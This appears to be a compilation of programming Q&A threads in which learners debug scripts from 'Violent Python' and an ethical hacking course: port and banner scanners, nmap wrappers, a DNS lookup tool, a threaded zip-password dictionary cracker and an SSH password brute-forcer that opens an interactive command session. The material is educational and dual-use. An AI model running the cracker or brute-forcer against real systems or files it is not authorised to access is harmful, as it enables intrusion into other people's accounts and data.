Just typed up an banner grabber and port scanner from the 'Violent Python' book by TJ 'O Connor, I'm not getting any syntax errors when I run it, but I don't get any output what so ever either, can someone tell me what's potentially wrong? The books written in python 2.6, i'm using 2.7, I don't know if that's the issue maybe? Any help would be greatly appreciated! The book also had 'import socket as Ú' but that got syntax errors so I took it out, not sure what it did anyway
import optparse
import socket
def connScan(tgtHost,tgtPort):
try:
connSkt= socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost,tgtPort))
connSkt.send('Violent Python\r\n')
results= connSkt.recv(1024)
print '[+]%d/tcp open' % tgtPort
print '[+]' + str(results)
connSkt.close()
except:
print '[-]%d/tcp closed' % tgtPort
def portScan(tgtHost,tgtPorts):
try:
tgtIP=gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': Unkonwn host" % tgtHost
return
try:
tgtName= gethostbyaddr(tgtIP)
print '\n[+]Scan results for: ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print 'Scanning port ' + tgtPort
connScan(tgtHost,int(tgtPort))
except:
print 'exception granted'
def main():
parser = optparse.OptionParser('usage %prog -h'+'<target host> -p <target port>')
parser.add_option('-h', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port[s] seperated by comma')
(options,args) = parser.parse_args()
tgtHost= options.tgtHost
tgtPorts= str(options.tgtPort).split(',')
if (tgtHost == None)|(tgtPorts[0] == None):
print '[*] You must specify a target host and port[s]'
exit(0)
portScan(tgtHost,tgtPorts)
if __name__=='__main__':
main()
The reason nothing is happening is because your code consists entirely of function declarations. At no point do you actually tell python to run anything.
That job is supposed to be done by this if statement:
if __name__=='__main__':
main()
However, you have mistakenly indented too much, thus making it a part of the main() function. For the code to work, you need to unindent it like so:
def main():
parser = optparse.OptionParser('usage %prog -h'+'<target host> -p <target port>')
parser.add_option('-h', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', help='specify target port[s] seperated by comma')
(options,args) = parser.parse_args()
tgtHost= options.tgtHost
tgtPorts= str(options.tgtPort).split(',')
if (tgtHost == None)|(tgtPorts[0] == None):
print '[*] You must specify a target host and port[s]'
exit(0)
portScan(tgtHost,tgtPorts)
if __name__=='__main__': # NOT a part of the main()
main()
As for import socket as Ú, the purpose of this line is to import the module called socket, but give it an alias, in this case Ú. From then on, instead of referring to it as socket in your code, you refer to it as Ú.
Related
I've been taking an Ethical Hacking course. Part of the course is creating a Python script that finds the password for a locked zip file, from a password list text file (hope that makes sense!) - basically iterates through a text file trying each password. The script doesn't work, doesn't error out, and the instructor says "well, it works for me" - not useful. Here's the script:
import optparse
import zipfile
from threading import Thread
def extract_zip(zfile, password):
try:
zfile.extractall(pwd=password)
print("[+] Password Found: " + password + '\n')
except:
pass
def main():
parser = optparse.OptionParser("usage %prog "+\
"-f <zipfile> -d <dictionary>")
parser.add_option('-f', dest='zname', type='string',\
help='specify zip file')
parser.add_option('-d', dest='dname', type='string',\
help='specify dictionary file')
(options, arg) = parser.parse_args()
if (options.zname == None) | (options.dname == None):
print(parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
passFile = open(dname)
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if __name__ == '__main__':
main()
The other two files are a text file with a list of passwords, and a password protected zip file where one of the passwords from the text file will unlock it.
Within the course there's a thread mentioning that optparse is depracated, and argparse is its replacement - but even rewriting the script with that doesn't work.
For want of closing out this part of the course I'm looking for help in why this doesn't work.
Thanks in advance for any help on this.
Per my comment above - I added the code below just below the "try" statement:
password = bytes(password.encode('utf-8'))
...then changed
print('[+] Password Found: ' + password + '\n')
to
print("[+] Password Found: " + (password.decode("utf-8")) + '\n')
Now I get the password printed to the console, and the zip file is unzipped. Here's the final, working code.
import optparse
import zipfile
from threading import Thread
def extract_zip(zfile, password):
try:
password = bytes(password.encode('utf-8'))
zfile.extractall(pwd=password)
print("[+] Password Found: " + (password.decode("utf-8")) + '\n')
except:
pass
def main():
parser = optparse.OptionParser("usage %prog " + '-f <zipfile> -d <dictionary>')
parser.add_option('-f', dest='zname', type='string', help='specify zip file')
parser.add_option('-d', dest='dname', type='string', help='specify dictionary file')
(options, args) = parser.parse_args()
if (options.zname is None) | (options.dname is None):
print(parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
passFile = open(dname)
for line in passFile.readlines():
password = line.strip('\n')
t = Thread(target=extract_zip, args=(zFile, password))
t.start()
if __name__ == '__main__':
main()
The way I found this was by changing the 'except' statement to print exceptions to the console:
except Exception as e: print(e)
From there I had a couple of issues to solve, but at least I had errors to work with. Once the password was being successfully logged to the console I change the exeception statement back to "pass" - don't need to see the passwords that failed!
I hope this helps someone else hitting the same issues I had.
I run your code using python3 it excuted without problem i did this long ago
it is a book called violent something
the password.txt should contain this line
victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh
root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash
and the command should look like
python stack.py -f evil.zip -d passwords.txt
After importing the relevant libraries and creating a connect function using the pxssh library, I have created my main function to accept the arguments of 'host, 'user' and the filename that I give.
The program successfully reads the file and parses each password string into the s.login method and returns 'success' message after finding the password. This I assume means that the connection has been made with the ssh server. But from the point of 'con = connect' I get no print statement to say that [SSH connected...] further than that I get the command line prompt after it successfully finds the password but after entering a command I get an attribute error against con.sendline -
>ls -l
Traceback (most recent call last):
File "sshBruteFpw.py", line 60, in <module>
main()
File "sshBruteFpw.py", line 52, in main
con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root#kali:~/Desktop/scripts#
I am at a loss as to why con.sendline has no attribute 'sendline' when I know that the library contains this method. I have tested this sendline method in other ways and it will work.
Any help on this much appreciated. Thanks in advance...
import pxssh
import argparse
import time
import sys
import getpass
def connect(host, user, password):
Fails = 0
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] password found! ' + password
return s
except Exception, e:
if Fails > 5:
print '[-] Too many Socket Timeouts!!'
sys.exit(1)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, password)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, password)
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='Specify Target Host')
parser.add_argument('user', help='Specify Target User')
parser.add_argument('file', help='Specify Password File')
args = parser.parse_args()
if args.host and args.user and args.file: #if these args are all true
with open(args.file, 'r') as infile: #open with and read only the specified file as 'infile'
for line in infile:
password = line.strip('\r\n')#read and strip each line
print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
con = connect(args.host, args.user, password)
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
con.prompt()
print con.before
command = raw_input(">")
else:
print parser.usage
sys.exit(1)
if __name__ == '__main__':
main()
Unless the indentation is very off, you are going into that branch of the code, even if you don't have con set up:
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
after the second line, there should be continue, if the connection failed, isn't it?
i am working on a python script to be a multi tool for getting DNS information on servers in a enterprise env. so far the script i have is using python 3.5. i am using argparse for creating command line options, which i am trying to create an if/ elif / else statement which contains the different selections. the main error message i am getting is:
./GetHostName.py
Traceback (most recent call last):
File "./GetHostName.py", line 34, in <module>
remoteServer = sys.argv[1]
IndexError: list index out of range
that is when the command is run by itself.
when it is run with a host name at the end ./GetHostName.py hostName
it gives this message:
GetHostName.py: error: unrecognized arguments: hostName
I didn't put real name of server for security issues....
When i use the argparse options say like the -f option for getting the FQDN, it gives this response...
./GetHostName.py -f hostName
3
-f
from the way it appears, it is taking the -f as input for the server name, when it should only be the input for argparse input. i have tried everything to fix it that i can think of. i have encased the main code body in a main function, that didn't work so i removed it. i use the try: statement and exception statements. that didn't work. i am wondering if there is something just basically wrong with my programming logic at this point...
this here is the code from the script:
#!C:\Bin\Python35\python.exe
#
# import libraries
import sys, os
import argparse as ap
import socket
# Command Line interface setup
def argParse():
#Command Line arg parse
parser=ap.ArgumentParser(description='A tool to get a remote servers DNS information.')
parser.add_argument("-a", "--address", default="fqdn", help="Gets IP address from host name.")
parser.add_argument("-f", "--fqdn", default="fqdn", help="Gets the FQDN address of server.")
parser.add_argument("-d", "--addrinfo", default="fqdn", help="Gets the FQDN address of server.")
parser.add_argument("-l", "--local", default="fqdn", help="Gets info on local host.")
parser.add_argument("-Pr", "--proto", default="fqdn", help="Translate an Internet protocol name to a constant suitable for passing as the (optional) third argument to the socket() function.")
parser.add_argument("-n", "--nameinfo", default="fqdn", help="Gets name and port on remote host.")
parser.add_argument("-Sn", "--servbyname", default="fqdn", help="Translate an Internet service name and protocol name to a port number for that service.")
parser.add_argument("-Sp", "--servbyport", default="fqdn", help="Translate an Internet port number and protocol name to a service name for that service.")
parser.add_argument("-t", "--timeout", default="fqdn", help="Return the default timeout in seconds for new socket objects.")
parser.add_argument("-v", "--verbose", default="fqdn", help="Increase output verbosity")
return parser.parse_args()
#remoteServer = input().strip().split()
args=argParse()
if args.fqdn:
remoteServer = sys.argv[1]
print (len(sys.argv))
remoteServerIP = socket.getfqdn(remoteServer)
print (remoteServerIP)
elif args.address:
remoteServer = sys.argv[2]
print (len(sys.argv))
remoteServerIP = socket.gethostbyname(remoteServer)
print (remoteServerIP)
elif args.addrinfo:
remoteServer = sys.argv[3]
print (len(sys.argv))
remoteServerIP = socket.getaddrinfo(remoteServer)
print (remoteServerIP)
elif args.local:
remoteServer = sys.argv[4]
print (len(sys.argv))
remoteServerIP = socket.gethostname()
print (remoteServerIP)
elif args.proto:
remoteServer = sys.argv[5]
print (len(sys.argv))
remoteServerIP = socket.getprotobyname(remoteServer)
print (remoteServerIP)
elif args.servbyname:
remoteServer = sys.argv[6]
print (len(sys.argv))
remoteServerIP = socket.getservbyname(remoteServer)
print (remoteServerIP)
elif args.servbyport:
remoteServer = sys.argv[7]
print (len(sys.argv))
remoteServerIP = socket.getservbyport(remoteServer)
print (remoteServerIP)
elif args.timeout:
remoteServer = sys.argv[8]
print (len(sys.argv))
remoteServerIP = socket.getdefaulttimeout(remoteServer)
print (remoteServerIP)
elif args.verbose:
remoteServer = sys.argv[9]
print (len(sys.argv))
remoteServerIP = socket.gethostbyaddr(remoteServer)
print (remoteServerIP)
else:
args.nameinfo
remoteServer = sys.argv[10]
print (len(sys.argv))
remoteServerIP = socket.getnameinfo(remoteServer)
print (remoteServerIP)
any help would be appreciated. please note that when i run a script with just this in it, it works just fine:
#!C:\Bin\Python35\python.exe
#
import sys, os
import argparse
import socket
# Command Line interface setup
def main():
remoteServer = sys.argv[1]
remoteServerIP = socket.gethostbyaddr(remoteServer)
print (remoteServerIP)
if __name__ == '__main__':
main()
thanks in advance.
-Betzelel
P.S. the code may look out of format, due to having to copy and paste into this blog, and manually putting 4 spaces on to each line to get it to show up as code lol.
I've had this problem long time ago. To fix this I've changed
parser.add_argument("-a", "--address", default="fqdn", help="Gets IP address from host name.")
in
parser.add_argument("-a", "--address", default="fqdn", help="Gets IP address from host name.", dest=ipfromhostname)
So for getting the value from -a you have to change
remoteServer = sys.argv[1]
in
remoteServer = args.ipfromhostname
where ipfromhostname is the dest value.
EDIT:
You have to do this operation for every parser.add_argument
I'm really getting mad 'cause of a problem I do not manage to get through while programming a simple and didactic portscanner in python. Here's the code:
def main():
parser = optparse.OptionParser("usage%prog "+\
"-H <target host> -p <target port>")
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', \
help='specify target port[s] separated by comma')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str((options.tgtPort)).replace(",", " ").split()
if (tgtHost is None) | (tgtPorts is None):
print '[-] You must specify a target host and port[s].'
exit(0)
it all works as expected, apart from one thing: the (tgtPorts is None) check does not seem to work, while the tgtHost control works fine. In other words, this is what happens without a specified -H option:
$ python portscanner.py -p 21
[-] You must specify a target host and port[s].
while with the host and without -p here's what happens:
$ python portscanner.py -H 1234
[+] Scan Results for: 0.0.4.210
Scanning port None
Traceback (most recent call last):
File "portscanner.py", line 45, in <module>
main()
File "portscanner.py", line 43, in main
portScan(tgtHost, tgtPorts)
File "portscanner.py", line 29, in portScan
connScan(tgtHost, int(tgtPort))
ValueError: invalid literal for int() with base 10: 'None'
So the script throws an error because it cannot convert None to int, and that's the point of the consistence check. I've already tried to change (tgtPorts is None) in (tgtPorts[0] is None), but nothing changed. Googled for it as well, but noone seems to have had the same problem. Any ideas?
You have a string with the word 'None' in it, not the None object.
You made it a string here:
tgtPorts = str((options.tgtPort)).replace(",", " ").split()
Rather than use str() there, test for options.tgtPort having a true value (e.g. not None or an empty string):
if options.tgtPort:
tgtPorts = options.tgtPort.replace(",", " ").split()
Note that | is bitwise OR, you should really use or instead. I'd test for the options first, then parse:
if not (options.tgtHost and options.tgtPort):
print '[-] You must specify a target host and port[s].'
exit(1)
Here both omitting the options and not specificing a value is an error.
Personally, I'd use the argparse module here and use required arguments, with the ports argument set to nargs='+' to capture one or more values. Error handling is then done by argparse as well.
This is the script
import nmap
import optparse
def nmapScan(tgtHost,tgtPort):
nmScan = nmap.PortScanner()
nmScan.scan(tgtHost,tgtPort)
state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print "[*] " + tgtHost + " tcp/"+tgtPort +" "+state
def main():
parser = optparse.OptionParser('-H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost, tgtPort)
if __name__ == '__main__':
main()
When I try to enter a range of ports in the command line, I get this error. Could someone help me out? I'm a newbie to python. Thanks in advance!!
:~$ python nmapScan.py -H 192.168.1.6 -p 20-25
Traceback (most recent call last):
File "nmapScan.py", line 27, in <module>
main()
File "nmapScan.py", line 23, in main
nmapScan(tgtHost, tgtPort)
File "nmapScan.py", line 7, in nmapScan
state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
ValueError: invalid literal for int() with base 10: '20-25'
You need to distinguish between those two different formats, and if the m-n range format is used, split at '-' to get the boundaries, create the list of port using range(), and set tgtPorts to that range.
Here's a function to implement this. You can simply plug it into your code by doing
tgtPorts = parse_port_spec(options.tgtPort)
instead of your current tgtPorts = str(options.tgtPort).split(','):
def parse_port_spec(spec):
if ',' in spec:
# Port list
ports = spec.split(',')
elif '-' in spec:
# Port range
start, end = map(int, spec.split('-'))
ports = range(start, end + 1)
else:
# Single port
ports = [spec]
return map(int, ports)
Note however that this still does not support the full nmap port range specification syntax. You can only use a comma separated list, or a range defined by m-n, but not both.
See the documentation for range() and map() for details on how those functions work.
import nmap
import optparse
def nmapScan(tgtHost,tgtPort):
nmScan = nmap.PortScanner()
nmScan.scan(tgtHost,tgtPort)
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print "[*] " + tgtHost + " tcp/"+tgtPort +" "+state
def main():
parser = optparse.OptionParser('-H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma')
(options, args) = parser.parse_args()
if not options.tgtHost or not options.tgtPort:
print parser.usage
exit(0)
tgtHost = options.tgtHost
ports = options.tgtPort
tgtPorts = options.tgtPort.split(',') if "," in options.tgtPort else map(str,range(int(ports.split("-")[0]),int(ports.split("-")[1]+1)))
for tgtPort in tgtPorts:
nmapScan(tgtHost, tgtPort)
if __name__ == '__main__':
main()
Like I said in a comment you should really use some try/excepts to avoid your script crashing.
~$ python nm.py -H 10.10.10.100 -p 20-25
[*] 10.10.10.100 tcp/20 closed
[*] 10.10.10.100 tcp/21 closed
[*] 10.10.10.100 tcp/22 open
[*] 10.10.10.100 tcp/23 closed
[*] 10.10.10.100 tcp/24 closed
$ python nm.py -H 10.10.10.100 -p 20,21
[*] 10.10.10.100 tcp/20 closed
[*] 10.10.10.100 tcp/21 closed
~$ python nm.py -H 10.10.10.100
-H <target host> -p <target port>
As per the documentation you can use nmap.PortScanner() which takes a string in the form 20-25 for a range which you could just use that in your script, parse the dict to get the output and make your life easier:
In [7]: import nmap
In [8]: nm = nmap.PortScanner()
In [9]: nm = nmap.PortScanner()
In [10]: nm.scan('127.0.0.1', '20-25')
We can shorten your script using the proper nmap syntax:
import nmap
import optparse
def main():
parser = optparse.OptionParser('-H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma')
(options, args) = parser.parse_args()
if not options.tgtHost or not options.tgtPort:
print parser.usage
exit(0)
tgtHost = options.tgtHost
tgtPorts = options.tgtPort
nm = nmap.PortScanner()
res = nm.scan(tgtHost,tgtPorts)
for port in nm[tgtHost]["tcp"].keys():
print "[*] {} tcp/{} {}".format(tgtHost,port,res["scan"][tgtHost]["tcp"][int(port)]["state"])
if __name__ == '__main__':
main()
~$ python nm.py -H 10.10.10.100 -p 20-25
[*] 10.10.10.100 tcp/20 closed
[*] 10.10.10.100 tcp/21 closed
[*] 10.10.10.100 tcp/22 open
[*] 10.10.10.100 tcp/23 closed
[*] 10.10.10.100 tcp/24 closed
[*] 10.10.10.100 tcp/25 open